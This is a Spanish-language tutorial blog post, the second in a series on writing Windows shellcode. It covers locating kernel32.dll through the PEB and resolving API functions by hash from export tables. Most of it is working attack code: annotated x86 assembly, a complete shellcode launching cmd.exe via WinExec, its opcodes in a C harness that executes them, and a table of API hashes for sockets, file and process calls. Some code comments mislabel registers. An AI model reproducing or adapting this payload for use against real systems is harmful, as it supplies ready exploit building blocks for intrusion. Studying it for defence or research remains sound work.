Creando una Shellcode: Direccion de kernel32 y calls especiales

Creando una Shellcode

Direccion de kernel32 y calls especiales

Articulo previo: Creando una Shellcode

por lShadowl

———————————————————————————————————–

Siguiendo con el tema de las shellcodes, en este articulo se vera el problema de shellcodes para versiones de SO especificos en los que la llamada a la API se hace directamente. Se expondra como obtener la direccion actual donde se ha cargado kernel32.dll y como llamar funciones.

———————————————————————————————————–

Teoria

Nota: Info sobre las estructuras: http://ntinternals.net/ ; http://msdn.microsoft.com/

Para encontrar la direccion de kernel32 hay varios metodo de los cuales los mas notables son usando: PEB (el que explicare en este articulo), SEH (Structured Exception Handling) y TOPSTACK (basado en el uso del TEB //Thread Environment Block).

PEB (Process Environment Block) es una estructura que contiene la informacion de los procesos cargados en Windows. Su estructura es la siguiente:

Código:
typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
}PEB, *PPEB;

La direccion de esta estructura se en fs:[0x30], esto quiere decir que con:

Código:
mov ebx,fs:[0x30]

podemos tener en ‘eax’ un puntero a PEB. Pero para que nos sirve tener acceso a PEB?

En la estructura del PEB podemos ver que uno de sus valores es un puntero a LDR_DATA:

Código:
 PPEB_LDR_DATA                 Ldr;

Ahora, veamos la estructura de PEB_LDR_DATA:

Código:
typedef struct _PEB_LDR_DATA {

ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;

Bien, lo que nos interesa aqui es la list entry:

Código:
LIST_ENTRY InLoadOrderModuleList;

Que contiene un puntero a la informacion de los modulos cargados en orden descendiente del primero al ultimo. Su estructura es la siguiente:

Código:
typedef struct _LDR_MODULE {

LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;

Que es la que usaremos para filtrar la direccion del kernel32.dll y las demas APIs que usaremos.

———————————————————————————————————–

Encontrando la direccion de kernel32.dll

Para filtrar los datos del PEB partimos en tener un puntero a PEB:

Código:
mov ebx, fs:[0x30]

Ahora necesitamos apuntar a InLoadOrderModuleList de LDR

Código:
		mov ebx, [ebx+0x0C]  ;puntero a LDR
		mov ebx, [ebx+0x1C]  ;puntero a InLoadOrderModuleList

Ahora solo resta filtrar el contenido para tener en ebx la direccion de kernel32

Código:
		mov ebx, [ebx]
		mov ebx, [ebx + 0x08]

Entonces tendremos como codigo resultante:

Código:
		xor ebx, ebx ;ebx a 0
		mov ebx, fs:[0x30] ;apuntamos a PEB
		mov ebx, [ebx+0x0C] ;LDR a edx
		mov ebx, [ebx+0x1C] ;InInitializationOrderModuleList a edx
		mov ebx, [ebx]
		mov ebx, [ebx+0x08] ;direccion de kernel32.dll a ebx

Comparemos como funciona vs GetModuleHandleA():

Código:
#include <windows.h>
#include <stdio.h>

int main()
{
	DWORD kernelAdd;
	printf("usando GetModuleHandleA(): %08X", (DWORD)GetModuleHandleA("kernel32.dll"));
	__asm{
		xor ebx, ebx
		mov ebx, fs:[0x30]
		mov ebx, [ebx+0x0C]
		mov ebx, [ebx+0x1C]
		mov ebx, [ebx]
		mov ebx, [ebx+0x08]
		mov kernelAdd, ebx
	}
	printf("\ncon PEB: %8X", kernelAdd);
	return 0;
}

Como podemos ver, las direcciones resultantes (en mi caso: “7C800000″ //win XP Pro sp3) son identicas. El metodo funciona.

———————————————————————————————————–

Mas teoria

Bien, ya aprendimos sobre la estructura del PEB y del LDR y como manejarlas para conseguir la direccion de un modulo. Para esta seccion es necesario conocer los terminos RVA (Relative Virtual Address) y EAT (Export Address Table). Para esto estudiaremos la cabecera opcional de los PE que es la que provee informacion al loader de windows.

Esta cabecera se divide en tres partes mayores: campos standard, campos especificion de windows y directorios de datos. >>

De estos campos nos interesaremos en la parte de los directorios de datos. >>

EAT – Export Address Table

La tabla de direccion de la exportacion contiene la direccion de los puntos de entrada, datos y absolutos exportados. Un numero ordinal se utiliza para poner en un indice la tabla de direccion de la exportacion, despues de restar el valor del campo bajo ordinal para conseguir un indice verdadero, basado en cero. (Asi, si la base ordinal se fija a 1, un valor comun, un ordinal de 6 es igual que un índice basado en cero de 5.)

Cada entrada en la tabla de direcciones de exportacion es un campo que utiliza uno de dos formatos, segun las indicaciones de la tabla siguiente. Si la direccion especificada no estáadentro de la seccion de exportacion (segun lo definido por la direccion y la longitud indicadas en el jefe opcional), el campo es una exportacion RVA: una dirección real en codigo o datos. Si no, el campo es un promotor RVA, que nombra un símbolo en otro DLL.

Es necesario saber las estructuras con que se trabaja, para mas info: MSDN.

———————————————————————————————————–

Llamando a las APIs

El metodo a exponer es algo vago, revisamos cada modulo cargado, como vimos anteriormente con LDR pero ahora usaremos la lista en orden de posicion de memoria, y comparamos cada funcion del modulo con la funcion que necesitamos llamar, al encontrarla, la llamamos :D .

Analicemos como hacer las llamadas siguiendo los pasos anteriores:

Código:
api_call:
  pushad     ;registros a pila
  mov ebp, esp
  xor edx, edx
  mov edx, [fs:edx+48] ;puntero a PEB
  mov edx, [edx+12]    ;puntero a LDR
  mov edx, [edx+20]    ;puntero al primer modulo de la lista de InMemoryOrder

next_mod:
  mov esi, [edx+40]    ;puntero al nombre de los modulos
  movzx ecx, word [edx+38] ;logitud a verficar
  xor edi, edi     

loop_modname:
  xor eax, eax
  lodsb
  cmp al, 'a'        ;el nombre del modulo esta en minuscula
  jl not_lowercase   ;lo pasamos
  sub al, 0x20       ;a mayuscula   

not_lowercase:
  ror edi, 13        ;rotamos hacia la derecha
  add edi, eax       ;el valor del hash
  loop loop_modname  ;hasta ecx=0
  push edx           ;Posicion
  push edi           ;y hash del modulo actual a pila
  mov edx, [edx+16]  ;direccion base del modulo a edx
  mov eax, [edx+60]  ;cabecera PE a eax
  add eax, edx
  mov eax, [eax+120] ;EAT a eax
  test eax, eax      ;hay EAT?
  jz get_next_mod1   ;no, siguiente modulo
  add eax, edx
  push eax           ;EAT del modulo a pila
  mov ecx, [eax+24]  ;numero de funciones del modulo a ecx
  mov ebx, [eax+32]  ;RVA de las funciones a ebx
  add ebx, edx          

get_next_func:
  jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo
  dec ecx            ;numero de la funcion - 1
  mov esi, [ebx+ecx*4]  ;RVA de la funcion a esi
  add esi, edx
  xor edi, edi           

loop_funcname:
  xor eax, eax
  lodsb           ;byte por byte del nombre de la funcion en ASCII
  ror edi, 13     ;buscamos
  add edi, eax    ;el caracter
  cmp al, ah      ;nulo que indica el final de la cadena
  jne loop_funcname ;hasta tener el hash completo de la funcion
  add edi, [ebp-8]  ;edi=hash del modulo+hash de la funcion
  cmp edi, [ebp+36] ;es la que buscamos?
  jnz get_next_func ;no, sigamos con la siguiente funcion    

  pop eax           ;EAT del modulo a eax
  mov ebx, [eax+36] ;conseguimos RVA
  add ebx, edx      ;le a?adimos la direccion base del modulo
  mov cx, [ebx+2*ecx]
  mov ebx, [eax+28]  ;RVA de la funciones a ebx
  add ebx, edx       ;le a?adimos la direccion base del modulo
  mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax
  add eax, edx       ;le a?adimos la direccion base del modulo y listo, en eax 

tenemos la direccion virtual de la funcion    

finish:
  mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor 

anterior
  pop ebx        ;arreglamos la pila
  pop ebx
  popad
  pop ecx
  pop edx
  push ecx
  jmp eax        ;llamamos a la funcion        

get_next_mod:
  pop eax         ;EAT del siguiente modulo a eax  

get_next_mod1:
  pop edi         ;hash del siguiente modulo a eax
  pop edx         ;posicion donde quedamos en la lista de modulos a edx
  mov edx, [edx]  ;puntero al siguiente modulo
  jmp short next_mod
  ;Harmony Security

Bien, ya tenemos como obtener la direccion virtual de la funcion que necesitamos llamar, probemos:

Código:
[BITS 32]

  cld        ;bandera de direccion a cero
  call start ;puntero de api_call a la pila   

api_call:
 ;(...)
 ;codigo de api_call
 ;(...)

start:
  pop ebp         ;puntero de api_call a ebp      

  jmp command     ;comando a ejecutar va a pila

exec:
  push 0x876F8B31 ;hash para WinExec a pila
  call ebp        ;llamamos a api_call       

  push 0x56A2B5F0 ;hash para ExitProcess a pila
  call ebp        ;llamamos a api_call      

command:
  call exec
  db "cmd.exe ", 0

Bien, ya tenemos la shellcode, pasamos a Opcodes y encapsulamos en C:

Código:
char code[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

Funciona?

Si funciono.

Algunos hashes muy usados:

Código:
0x006B8029, "ws2_32.dll!WSAStartup"
0xE0DF0FEA, "ws2_32.dll!WSASocketA" 

0x6737DBC2, "ws2_32.dll!bind"
0xFF38E9B7, "ws2_32.dll!listen"
0xE13BEC74, "ws2_32.dll!accept"
0x614D6E75, "ws2_32.dll!closesocket"
0x6174A599, "ws2_32.dll!connect"
0x5FC8D902, "ws2_32.dll!recv" 

0x5F38EBC2, "ws2_32.dll!send" 

0x5BAE572D, "kernel32.dll!WriteFile"
0x4FDAF6DA, "kernel32.dll!CreateFileA"
0x13DD2ED7, "kernel32.dll!DeleteFileA"
0xE449F330, "kernel32.dll!GetTempPathA"
0x528796C6, "kernel32.dll!CloseHandle" 

0x863FCC79, "kernel32.dll!CreateProcessA"
0xE553A458, "kernel32.dll!VirtualAlloc"
0x300F2F0B, "kernel32.dll!VirtualFree"
0x0726774C, "kernel32.dll!LoadLibraryA"
0x7802F749, "kernel32.dll!GetProcAddress"
0x601D8708, "kernel32.dll!WaitForSingleObject" 

0x876F8B31, "kernel32.dll!WinExec"
0x9DBD95A6, "kernel32.dll!GetVersion"
0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter"
0x56A2B5F0, "kernel32.dll!ExitProcess"
0x0A2A1DE0, "kernel32.dll!ExitThread" 

0x6F721347, "ntdll.dll!RtlExitUserThread" 

0x23E38427, "advapi32.dll!RevertToSelf"

Saludos!

Advertisement

Acerca de esta Entrada